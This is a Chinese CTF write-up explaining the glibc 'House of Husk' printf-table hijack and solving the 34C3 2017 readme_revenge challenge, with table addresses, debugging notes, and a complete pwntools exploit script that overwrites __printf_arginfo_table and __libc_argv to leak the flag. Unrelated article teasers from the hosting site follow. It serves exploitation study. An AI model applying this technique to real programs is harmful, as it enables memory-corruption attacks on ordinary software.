news 2026/1/13 13:41:35

readme_revenge 34C3 2017 CTF pwn学习House of Husk

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
readme_revenge 34C3 2017 CTF pwn学习House of Husk

参考学习:
https://www.anquanke.com/post/id/202387#h2-0
前置知识
这种攻击方式主要是利用了printf的一个调用链,应用场景是只能分配较大chunk时(超过fastbin),存在或可以构造出UAF漏洞。
在使用printf类格式化字符串函数进行输出的时候,该类函数会根据我们格式化字符串的种类不同而采取不同的输出格式进行输出,

  • __register_printf_function 是 glibc 内部用于将“自定义 printf 转换器”注册到 glibc 的机制之一。它把用户提供的两类回调(printf function — 真正做格式化输出的函数;printf arginfo — 在格式解析阶段告知库如何获取参数的函数)保存到 glibc 的内部表里(function_table 与 arginfo_table),使得后续 vfprintf/printf 在遇到相应转换说明符(specifier,例如某个字符 ‘q’)时可以调用这些回调来处理格式化。
  • 换句话说,它把一个字符(specifier)和对应的处理逻辑绑定起来,从而扩展 printf 家族函数的转换语义。
  • 全局表:glibc 内部维护两张与转换字符索引对应的表
    • __printf_function_table:每个索引保存一个 printf_function(处理函数)的指针
    • __printf_arginfo_table:每个索引保存一个 printf_arginfo(arginfo 回调)指针 这两张表通常以字符值(unsigned char 的数值)作为索引。
  • 注册动作:__register_printf_function 会把传入的 function 和 arginfo 指针写入到对应表的 spec 条目中。若表尚未初始化/分配,注册函数会负责初始化或扩展表以包含该索引。
  • 参数校验:实现上会校验 spec 是否在合法范围(0…UCHAR_MAX 或表长度内),并可能检查传入指针的合法性(是否为 NULL、是否与已有注册冲突等)。
  • 返回值:公开接口通常在成功时返回 0,失败时返回非零(具体 errno/返回码会随实现变化)。内部双下划线函数可能有相同/相似的返回契约。
  • 线程/时序:注册是在全局表上写入,若程序是多线程的并且在运行时动态注册,必须注意并发安全。glibc 的实现可能采取锁或要求调用者在单线程阶段(如程序初始化)进行注册。文档通常建议在多线程创建之前完成注册以避免 race condition。
  • 生命周期:注册一旦生效,表项会长期存在(直至进程退出),后续 printf 的解析与输出都会使用最新的表项。覆盖旧的注册会替换处理逻辑(但如何替换/返回错误取决于具体实现)。
  1. 典型用法(示例说明)
  • 目标:为字符 ‘q’ 注册自定义输出,使 printf(“x=%q”, n) 能以自定义方式输出 n。
  • 需实现两部分:
    • arginfo:告诉库该转换需要多少个参数、每个参数类型(PA_INT、PA_CHARP 等),以便 vfprintf 在调用前从 va_list 中提取好参数。
    • function:当参数已被提取并准备好后,glibc 会把参数(以 void* 指针数组形式)传给该函数,由它完成格式化输出到 FILE*。
  • 简化伪代码:
    • register_printf_function(‘q’, my_printf_function, my_arginfo);
    • my_arginfo(…) 返回 1 并把 argtypes[0] = PA_INT
    • my_printf_function(FILE *f, info, args) 从 args[0] 读取 int 值并 fprintf 到 f
  1. vfprintf 调用流程(与注册表交互)
  • 解析 format,遇到转换符 c:
    • 查 __printf_function_table[c] 和 __printf_arginfo_table[c]
    • 若 arginfo 不为 NULL,调用 arginfo 获取参数类型/数量
    • 根据 arginfo 提示从 va_list(或 positional 参数)中取出参数,构造 args 数组
    • 调用 printf_function(如果存在),或回退到默认行为
  • 因此 arginfo 在解析阶段有能力决定“参数从何处、以何种方式被提取”,这就是为何覆盖 arginfo 表能把 vfprintf 导向不同的参数来源(比如 __libc_argv)并被滥用。

__register_printf_function 的本质:把一个 printf 转换字符(specifier)与两个回调(arginfo 与处理函数)关联起来,写入 glibc 的内部表,使 printf 在解析/输出该 specifier 时调用这些回调,从而支持自定义格式化行为。

int register_printf_function(int spec, printf_function func, printf_arginfo arginfo);

内部上会写入 __printf_function_table[spec] 和 __printf_arginfo_table[spec]。

  • __printf_function_table:按转换字符索引的函数指针数组,保存了每个自定义 printf 转换符的“处理函数”(printf_function)。
/* 输出实际工作:stream 是 FILE*,info 是格式信息,args 是已经解析并准备好的参数数组 */ int (*printf_function)(FILE *stream, const struct printf_info *info, const void *const *args);
  • __printf_arginfo_table:按转换字符索引的函数指针数组,保存了每个自定义 printf 转换符的“arginfo”回调(printf_arginfo)。arginfo 在格式解析阶段告诉 vfprintf 该转换所需参数类型与数量,以便把参数从 va_list 中提取并打包。
/* 返回需要的参数数量(>=0),并在 argtypes 中写入每个参数的类型(PA_*) */ int (*printf_arginfo)(const struct printf_info *info, size_t n, int *argtypes);

利用流程

(1)原始状态(表项为 NULL 或合法指针) [input_addr] --> 用户可写缓冲区 __printf_arginfo_table['s'] -> NULL __printf_function_table['s'] -> NULL __libc_argv -> 实际 argv 或 NULL
越界写 payload 覆盖 payload 写到 input_addr ... 覆盖 __libc_argv、__printf_function_table['s']、__printf_arginfo_table['s']
调用 printf("...%s..."): vfprintf 解析 %s: -> a = __printf_arginfo_table['s'](= input_addr) -> a(...) 指示从 __libc_argv 取参数或直接通过 input_addr 返回参数信息 -> __libc_argv 指向 input_addr,input_addr[0]=flag_addr -> vfprintf 得到 flag_addr,打印 flag

题目:

先调用 scanf(format, &name) 把输入写到可写地址 name,然后调用 printf(“Hi, %s. Bye.\n”, name) 打印该缓冲区内容并退出。
漏洞:
scanf 使用不带宽度限制的 “%s”(或类似格式),把任意长度的数据写到 name 所指的位置;name 并不是栈上的小缓冲区,而是一个可写的全局/数据段位置。因此可以通过一次输入直接覆盖同一映射内后续的全局/数据(例如 __libc_argv、__printf_function_table、__printf_arginfo_table、flag 等),从而构造“数据驱动”的利用,不需要改写返回地址或触碰栈 canary。

name在bss段
这里看到flag已经在程序中
所以大概的思路是
控制EIP->调用__fortify_fail函数->打印当前程序的名称(__libc_argv的第一个元素)->使__libc_argv的第一个元素指向flag的地址打印出flag

调试

崩溃原因

RAX: 0x6161616161616161('aaaaaaaa')RIP: 0x45ad64(<__parse_one_specmb+1300>:cmpQWORD PTR[rax+rdx*8],0x0)

格式化字符串相关

RDI: 0x48d18b("%s. Bye.\n")R8: 0x48d18b("%s. Bye.\n")

这个错误是因为内存非法访问导致的
__printf_modifier_table已经被我们溢出为了0x6161616161616161, 在下方的cmp处比较时, 因为该内存地址不可访问导致了错误, 我们可以通过更改__printf_modifier_table的值来绕过这个错误.

loc_45A926: xor eax, eax;eax=0and byte ptr[rbx+0Dh], 0FDh;清除某标志位 and byte ptr[rbx+0Ch], 0F8h;清除其他标志位 mov[rbx+0Eh], ax;写入0 mov rax, cs:__printf_modifier_table;加载修饰符表testrax, rax;检查表是否为空 jnz loc_45AD60;不为空则跳转 loc_45AD60: movzx edx, byte ptr[r10];获取格式字符(r10指向格式字符串)cmpqword ptr[rax+rdx*8],0;检查 table[char]是否为NULL jz loc_45A944;为NULL则跳转 lea rdi,[rsp+38h+var_30];准备第一个参数 mov rsi, rbx;准备第二个参数 db 67h;可能是地址大小前缀 call __handle_registered_modifier_mb;调用处理函数testeax, eax;检查返回值 jz short loc_45AD9B;为0则跳转

我们需要找到四个表的地址:

name=0x6b73e0flag=0x6B4040stack_chk_fail=0x4359b0libc_argv=0x6b7980printf_function_table=0x6b7a28printf_arginfo_table=0x6b7aa8

printf 的内部处理流程

printf()->vfprintf()->printf_positional()->__parse_one_specmb()

关键函数调用关系:

// 简化流程printf(constchar*format,...){vfprintf(stdout,format,args);}vfprintf(FILE*stream,constchar*format,va_list ap){if(has_positional_parameters(format)){printf_positional(stream,format,ap);}else{// 普通处理}}printf_positional(){while(*format){if(*format=='%'){__parse_one_specmb(&spec,&format,&ap_pos);// 处理注册函数}}}

__parse_one_specmb 的关键逻辑

__parse_one_specmb(){// 1. 首先检查 modifier_tableif(__printf_modifier_table!=NULL&&__printf_modifier_table[spec_char]!=NULL){__handle_registered_modifier_mb(...);}// 2. 然后检查 arginfo_tableif(__printf_arginfo_table!=NULL&&__printf_arginfo_table[spec_char]!=NULL){// 调用arginfo函数获取参数信息arginfo_func=__printf_arginfo_table[spec_char];arginfo_func(&info,&ap_pos);}// 3. 最后检查 function_tableif(__printf_function_table!=NULL&&__printf_function_table[spec_char]!=NULL){// 调用注册的处理函数func=__printf_function_table[spec_char];func(stream,&spec,&ap_pos);return;}// 4. 如果没有注册函数,使用默认处理switch(spec_char){case's':handle_string(...);break;case'd':handle_int(...);break;// ...}}

格式化字符串的参数位置:

// 例如:printf("%s %d %f",str,num,flt);// 栈/寄存器布局:// 1. format string address// 2. str address// 3. num value// 4. flt value

对于 x86_64 Linux 的调用约定:

  • 前6个参数:RDI, RSI, RDX, RCX, R8, R9
  • 剩余参数:栈上
  • 返回值:RAX
    在 printf 内部:
    当 __parse_one_specmb 调用注册函数时:
// 调用 arginfo 函数typedefint(*printf_arginfo_function)(conststructprintf_info*info,size_tn,int*argtypes);// 调用 format 函数typedefint(*printf_function)(FILE*stream,conststructprintf_info*info,constvoid*const*args);

stack_chk_fail 的调用参数
__fortify_fail 函数签名:

void__attribute__((noreturn))__fortify_fail(constchar*msg);// 实际调用:__fortify_fail("stack smashing detected");

它如何获取 argv[0]:

// 在 __libc_message 内部__libc_message(do_abort,"*** %s ***: %s terminated\n",msg,__libc_argv[0]?:"<unknown>");// ^^^^^^^^^^^^^^^// 关键:打印 argv[0]

目的:

1.程序执行 printfprintf(user_input);// user_input 包含 "%s"2.解析格式字符串 遇到'%s'0x73是字母's'的 ASCII码值(十六进制))3.查找注册函数 __printf_arginfo_table=name_addr(被覆盖)4.错误调用 本应:arginfo_func(info,n,argtypes)实际:stack_chk_fail()5.stack_chk_fail 执行 读取 __libc_argv=name_addr(被覆盖)读取 argv[0]=flag_addr 打印:"*** stack smashing detected ***: [flag内容] terminated"

因为这是一个 64位系统:

  • 每个函数指针占用 8字节(64位 = 8字节)
  • 表的结构是:void* table[256](256个指针的数组)
  • 访问 table[‘s’] 实际上就是 table[0x73]
  • 数组下标 0x73 对应的内存偏移是 0x73 * sizeof(void*)]
    当我们要覆盖 __printf_arginfo_table[‘s’] 时:
  • __printf_arginfo_table 是一个指针数组
  • 数组起始地址:name_addr(因为我们设置了 __printf_arginfo_table = name_addr)
  • table[‘s’] 的位置:name_addr + (‘s’ * 8) = name_addr + 0x398
    所以我们需要在 name_addr + 0x398 处写入 stack_chk_fail 地址。
payload=p64(flag)#name start payload=payload.ljust(0x73*8,b'\x00')payload+=p64(stack_chk_fail)# __printf_arginfo_table[spec->info.spec]payload=payload.ljust(libc_argv-name,b'\x00')payload+=p64(name)# argv payload=payload.ljust(printf_function_table-name,b'\x00')payload+=p64(name)# __printf_function_table payload=payload.ljust(printf_arginfo_table-name,b'\x00')payload+=p64(name)# __printf_arginfo_table p.sendline(payload)


打印出来了flag的值
EXP:

from pwn import*p=process('./readme_revenge')name=0x6b73e0flag=0x6B4040stack_chk_fail=0x4359b0libc_argv=0x6b7980printf_function_table=0x6b7a28printf_arginfo_table=0x6b7aa8payload=p64(flag)#name start payload=payload.ljust(0x73*8,b'\x00')payload+=p64(stack_chk_fail)# __printf_arginfo_table[spec->info.spec]payload=payload.ljust(libc_argv-name,b'\x00')payload+=p64(name)# argv payload=payload.ljust(printf_function_table-name,b'\x00')payload+=p64(name)# __printf_function_table payload=payload.ljust(printf_arginfo_table-name,b'\x00')payload+=p64(name)# __printf_arginfo_table p.sendline(payload)p.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/1/12 5:59:39

OpenAI Whisper Large-V3-Turbo本地部署终极指南:从零搭建到性能调优

OpenAI Whisper Large-V3-Turbo本地部署终极指南&#xff1a;从零搭建到性能调优 【免费下载链接】whisper-large-v3-turbo 项目地址: https://ai.gitcode.com/hf_mirrors/openai/whisper-large-v3-turbo 还在为语音转写模型的高内存占用和复杂部署流程而头疼吗&#x…

作者头像 李华
网站建设 2026/1/9 19:21:13

75、深入探索GDB调试器:命令详解与实用技巧

深入探索GDB调试器:命令详解与实用技巧 1. GDB调试基础:断点与调用 在GDB调试中,断点是控制程序执行流程、定位问题的关键工具。 break 命令提供了多种设置断点的方式: - break :在当前栈帧的下一条指令处设置断点。若不在最内层栈帧,执行返回该帧时控制停止;在最…

作者头像 李华
网站建设 2026/1/8 13:30:45

7 款热门文件加密软件深度测评!2025 加密工具最佳选择

在数字化时代&#xff0c;企业与个人数据泄露风险持续攀升&#xff0c;文件加密成为保障信息安全的核心手段。面对市面上五花八门的加密工具&#xff0c;如何挑选适配需求、安全可靠的产品&#xff1f;本文聚焦 7 款热门文件加密软件&#xff0c;从功能、兼容性、易用性等维度深…

作者头像 李华
网站建设 2026/1/1 9:26:04

Linux环境下的C语言编程(四十)

一、链队列使用链表实现的队列&#xff0c;动态分配内存。1. 结构定义#include <stdio.h> #include <stdlib.h>// 链队列节点 typedef struct QueueNode {int data;struct QueueNode* next; } QueueNode;// 链队列 typedef struct {QueueNode* front; // 队头指针…

作者头像 李华
网站建设 2026/1/13 10:52:33

矮冬瓜矮砧密植:水肥一体化系统铺设全攻略

瓜地里&#xff0c;老陈的矮冬瓜长得圆润均匀&#xff0c;挂果整齐。“这套水肥系统让我种瓜省心不少&#xff0c;”他指着藤蔓下的滴灌带说&#xff0c;“不仅瓜形周正&#xff0c;产量还提高了四成。”认识矮冬瓜矮砧密植矮冬瓜矮砧密植&#xff0c;简单说就是选择矮蔓品种&a…

作者头像 李华
网站建设 2026/1/11 15:06:20

P11960 [GESP202503 五级] 平均分配

难度普及/提高− 题目描述 小 A 有 2n 件物品&#xff0c;小 B 和小 C 想从小 A 手上买走这些物品。对于第 i 件物品&#xff0c;小 B 会以 bi​ 的价格购买&#xff0c;而小 C 会以 ci​ 的价格购买。为了平均分配这 2n 件物品&#xff0c;小 A 决定小 B 和小 C 各自只能买走…

作者头像 李华